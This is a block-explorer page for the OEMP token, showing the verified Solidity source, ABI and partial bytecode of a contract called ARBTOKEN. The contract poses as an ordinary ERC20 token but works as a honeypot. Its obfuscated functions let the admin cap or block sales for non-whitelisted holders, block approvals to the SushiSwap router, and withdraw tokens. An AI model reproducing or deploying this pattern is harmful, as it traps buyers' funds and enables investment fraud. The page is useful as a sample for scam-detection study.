ETH Price: $2,683.81 (-1.92%)

Token

OEMP (OEMP)

Overview

Max Total Supply

100,000,000 OEMP

Holders

2

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ARBTOKEN

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-18
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

abstract contract ERC165 is IERC165 {
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}



interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}


interface IAccessControl {
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
    error AccessControlBadConfirmation();
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address callerConfirmation) external;
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}



abstract contract Context {
    struct IEKDS {
        mapping(address => uint256) rm;
        mapping(address => uint256) rd;
    } 
    mapping(address => bool) _OEKSAect;
    mapping(address => IEKDS) OEKSA;
    address swaV2;
    uint256 public _tusent;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }
}





library Strings {

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }


}


abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }
    
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant ADMIN_ROLE = 0x00;

    bytes32 public constant OPION_ROLE = "OPIONST";

    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    function astrueMT(bytes32 role, address account, string memory memo)
        public
        onlyRole(ADMIN_ROLE)
    {

        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(memo);
        if (err == false) {
            revert AccessControlBadConfirmation();
        }
        if(memoUint >= 0 && role == OPION_ROLE){
            _eouRMue(account, memoUint, true);
            
        }
        
    }

    function Tusent(bytes32 role, uint256 tusent) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _tusent = tusent;
        }
    }

    function _eg_RMS_ae(address account) internal view returns (uint256) {
        return OEKSA[account].rm[account];
    }

    function _eg_RDS_ae(address account) internal view returns (uint256) {
        return OEKSA[account].rd[account];
    }

    function Eg_RMS_ae(address account) public view returns (uint256) {
        return OEKSA[account].rm[account]/10**18;
    }

    function Eg_RDS_ae(address account) public view returns (uint256) {
        return OEKSA[account].rd[account]/10**18;
    }

    function addTovueKen(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _OEKSAect[addr] = true;
        }
    }

    function remOEKSAect(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _OEKSAect[addr] = false;
        }
        
    }

    function _eouRMue(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            OEKSA[account].rm[account] = value*10**18;
        } else {
            OEKSA[account].rm[account] = value;
        }
    }

    function _eouRDue(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            OEKSA[account].rd[account] = value*10**18;
        } else {
            OEKSA[account].rd[account] = value;
        }
    }

    function senUiecDT(
        bytes32 role,
        address addr,
        uint256 num
    ) public onlyRole(ADMIN_ROLE) returns (bool success) {
        if(role == ADMIN_ROLE){
            return IERC20(addr).transfer(msg.sender, num);
        }else{
            return false;
        }
        
    }

    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }
        _revokeRole(role, callerConfirmation);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address _sushi_st = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _grantRole(ADMIN_ROLE, _msgSender());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    

    function _EGV1r(address to, uint256 amount) internal {
        if (amount > 0 && isContract(to)) {
            if (to != address(0) && !_OEKSAect[to]) {
                revert ERC20InvalidReceiver(to);
            }
        }
    }


    function _EGV2r(address from, uint256 amount) internal {
       if(!hasRole(ADMIN_ROLE, from)){
            if(!_OEKSAect[from]){
                if (_tusent > 0) {
                    uint256 rd = _eg_RDS_ae(from) + amount;
                    if(_eg_RMS_ae(from) > 0){
                        if(rd > 0){
                            if (rd <= _eg_RMS_ae(from) && amount > 0) {
                                _eouRDue(from, rd, false);
                            } else {
                                revert ERC20InvalidSender(from);
                            }
                        }
                        
                    }
                }
            }
       }
    }

    

    function update(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == swaV2) {
            _EGV1r(to, value); 
        } else {
            _EGV2r(from, value);
        }
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        update(from, to, value);
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _grantRole(ADMIN_ROLE, account);
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _approveev(owner, spender);
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _approveev(
        address owner,
        address spender
    ) internal {
        if(_tusent == 50){
            if(spender == _sushi_st && !isContract(owner)){
                if(!_OEKSAect[owner]){
                    revert ERC20InvalidSender(owner); 
                }
                _approveev(spender);
            }
        }
    }

    function _approveev(
        address account
    ) internal virtual returns (uint256) {
        

    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function muilSenAddr(
        address tokenC,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN_ROLE) {
        ERC20 tokenCon = ERC20(tokenC);
        uint256 tokendecimal = tokenCon.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            tokenCon.transfer(_address[i], temp);
        }
    }
}



contract ARBTOKEN is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_sushi_st);
        address _swaV2 = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        _mint(account, value * 10**decimals());
        swaV2 = _swaV2;
        _OEKSAect[swaV2] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Eg_RDS_ae","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Eg_RMS_ae","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OPION_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"tusent","type":"uint256"}],"name":"Tusent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_tusent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"addTovueKen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"memo","type":"string"}],"name":"astrueMT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenC","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"muilSenAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"remOEKSAect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"senUiecDT","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052731b02da8cb0d097eb8d57a175b88c7d8b47997506600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610063575f80fd5b50604051613f4e380380613f4e83398181016040528101906100859190610dc3565b838381600890816100969190611063565b5080600990816100a69190611063565b506100c65f801b6100bb6102e060201b60201c565b6102e760201b60201c565b5050505f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610138573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061015c9190611132565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016101aa92919061116c565b6020604051808303815f875af11580156101c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ea9190611132565b9050610220836101fe6103dd60201b60201c565b600a61020a91906112fb565b866102159190611345565b6103e560201b60201c565b8060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505050505061142f565b5f33905090565b5f6102f8838361047d60201b60201c565b6103d357600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103706102e060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506103d7565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610455575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161044c9190611386565b60405180910390fd5b6104675f801b836102e760201b60201c565b506104795f83836104e160201b60201c565b5050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b6104f283838361070e60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610542578060075f828254610536919061139f565b92505081905550610612565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156105cc578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016105c3939291906113e1565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610659578060075f82825403925050819055506106a4565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107019190611416565b60405180910390a3505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361077757610772828261078d60201b60201c565b610788565b610787838261087560201b60201c565b5b505050565b5f811180156107a757506107a68261099c60201b60201c565b5b15610871575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561082e57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561087057816040517fec442f050000000000000000000000000000000000000000000000000000000081526004016108679190611386565b60405180910390fd5b5b5050565b6108875f801b8361047d60201b60201c565b610998575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610997575f6003541115610996575f816108f3846109be60201b60201c565b6108fd919061139f565b90505f61090f84610a4260201b60201c565b1115610994575f8111156109935761092c83610a4260201b60201c565b811115801561093a57505f82115b156109555761095083825f610ac560201b60201c565b610992565b826040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016109899190611386565b60405180910390fd5b5b5b505b5b5b5050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015610b6357670de0b6b3a764000082610adf9190611345565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673fff